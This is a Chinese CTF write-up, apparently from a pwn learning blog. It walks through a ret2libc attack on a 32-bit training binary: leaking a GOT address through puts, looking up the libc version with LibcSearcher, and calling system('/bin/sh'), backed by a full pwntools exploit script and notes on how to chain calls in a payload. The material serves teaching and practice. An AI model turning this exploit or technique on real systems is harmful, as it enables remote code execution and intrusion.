Pwn学习总结(5):No-PIE-eXecutable,ASLR-Library


实验平台:

x86_64, Ubuntu 18.04.5 LTS, Kernel 4.15.0-156-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4

实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/stackoverflow/ASLR

Remote:

nc hackme.inndy.tw 7702

使用checksec查询ELF的安全信息:

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

第一,要注意的是,这个ELF文件是i386的,因此栈的布局及调用约定需要遵循x86的。
第二,很好,什么安全保护都没开。但本次教程的难度应该比上次有一定的提升,因此,我们需要开启OS的ASLR,在root权限下执行以下命令:

echo 2 > /proc/sys/kernel/randomize_va_space

在当前的条件下,ELF应用程序的基址是固定的,而由动态链接器ld加载进来的库的基址则是随机化的。换句话说,ELF关闭了PIE,不代表ld在加载动态链接库的时候不进行ASLR。[2]

使用IDA反编译,发现一个print_flag函数,但是这个函数调用/bin/cat fake_flag,并不是我们所需要的真flag,真flag需要利用栈溢出getshell获得。

对于本程序,因为NX选项被关闭,因此理论上可以利用在栈上布局shellcode的方式进行pwn。但我们来换一种方法来getshell:调用libc中的system函数,向其中传入’/bin/sh’的字符串地址。

你可能会疑惑,libc已经被地址随机化了,我怎么知道libc中函数的地址在哪里?就算知道了地址,又怎么把这些地址输出出来为我所用?怎么在libc中寻找在ELF程序中未出现的/bin/sh字符串地址?不要急,下面我来一个一个解答。

1、如何知道libc中函数的地址?由于Linux动态链接的特性,首次访问一个外部库函数时,它的地址被存储在GOT表中,我们可以通过分析GOT表,找到其存储外部库函数地址的地址。

2、如何输出地址?通过程序PLT表已导入的puts, write等输出函数,由于ELF未开启PIE,这些表项的地址是确定的。利用栈溢出执行输出函数,并设置其参数为GOT表中对应的地址,再将输出函数的返回地址设置为原函数。这样,既输出了所需的地址,又可开始下一轮栈溢出。(可能此处的描述有些抽象,可结合代码理解)

3、进一步的,如何确定libc中任意函数或变量的地址?通过上两个问题,我们已经可以获得libc中一个函数的地址。我们可以通过该函数的低位地址对libc的数据库进行搜索,确定目标机器所使用的libc版本。而libc的版本相对来说比较少,因此搜索成本是可接受的。由此,我们得到了目标机所使用的libc二进制文件。因此,目标机中libc所有函数或常量的地址都可以被我们所确定了。

为方便,在此列出IDA反编译toooomuch函数的结果。

下面我列出使用Pwntools和LibcSearcher编写的PoC,并加以注释说明:

#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
import os
context.log_level = "debug"
context(arch = "i386",os = "linux") # 设置体系结构为x86

p = remote("hackme.inndy.tw", 7702) # 连接Pwn服务器或在本地执行
#p = process('./toooomuch')
elf = ELF('./toooomuch') # 解析ELF应用程序,获取其符号
p.recvuntil("Give me your passcode: ") # 接收程序第6行的printf输出

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
toooomuch_func = elf.sym['toooomuch']
"""
payload的填充:
s长18h,填充无意义的字符z,也恰好使下面的分支不成立,直接输出"You are not allowed here!",避免进入play_a_game()
p32(0)覆盖旧函数栈帧的ebp寄存器
p32(puts_plt)是puts函数在PLT表中的地址,当toooomuch函数结束之后,CPU会将你推入栈中的puts函数的地址当作下一个eip继续执行。根据x86调用约定,他的参数是p32(puts_got),即用puts函数打印其自己的地址
p32(toooomuch_func)是puts函数执行完后的返回地址,使该栈溢出过程可以重新来过,以便于进行接下来的操作
"""
payload = 0x18*'z'+p32(0)+p32(puts_plt)+p32(toooomuch_func)+p32(puts_got)
p.sendline(payload)
p.recvuntil("You are not allowed here!\n")
puts_libc = u32(p.recv(4)) # 前四个发送的字节为puts函数在libc中真正的地址

libc = LibcSearcher('puts', puts_libc) # 利用puts的地址,在LibcSearcher库中查找对应的libc版本
libc_base = puts_libc - libc.dump('puts') # 获得libc基址
system_libc = libc_base + libc.dump('system') # 获得system经过ASLR后的地址
binsh_libc = libc_base + libc.dump('str_bin_sh') # 获得'/bin/sh'经过ASLR后的地址
p.recvuntil("Give me your passcode: ")
# 第二次栈溢出, payload为调用system("/bin/sh"),执行结束后返回到toooomuch_func(可不要)
payload = 0x18*'z'+p32(0)+p32(system_libc)+p32(toooomuch_func)+p32(binsh_libc)
p.sendline(payload)
# 切换到交互模式
p.interactive()

Getshell成功。

2021.09.05更新:

抛开此题不看,只看我们的PoC利用脚本中的payload。

我们观察payload的形式,发现它的组成为:padding + saved_registers + function1_address + final_function_address + function1_argument1 + function1_argument2 + … + function1_argumentn。

这种形式的payload,导致指令流的走向为,先调用一个形如function1( argument1, argument2, ...) 带参数的函数,再调用一个形如final_function() 不带参数的函数,此时final_function()为攻击者可控控制流终点。

进一步的,我们可以拓展这种栈溢出的payload形式为:padding + saved_registers + function1_address + function2_address + function3_address + … + functionk_address + final_function_address + functionk_argument1 + functionk_argument2 + … + functionk_argumentn。

这种形式的payload,导致指令流的走向为,先连续调用k-1个形如functioni()的无参函数,再调用一个形如functionk( argument1, argument2, ...) 带参数的函数,最后调用一个形如final_function() 不带参数的函数(该函数可选)。总之,每次栈溢出过程中,仅能执行一次带参的函数,且必须排在最后一个或倒数第二个进行执行。

再或者,我们把上述这种复杂的形式稍作修改,变为:padding + saved_registers + function1_address + function2_address + function3_address + … + functionn_address。也可连续调用n个无参的函数。

参考资料:
[1] https://blog.csdn.net/niexinming/article/details/78796408
[2] 感谢Foobar科学院twd2院士对本文章的大力支持!

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注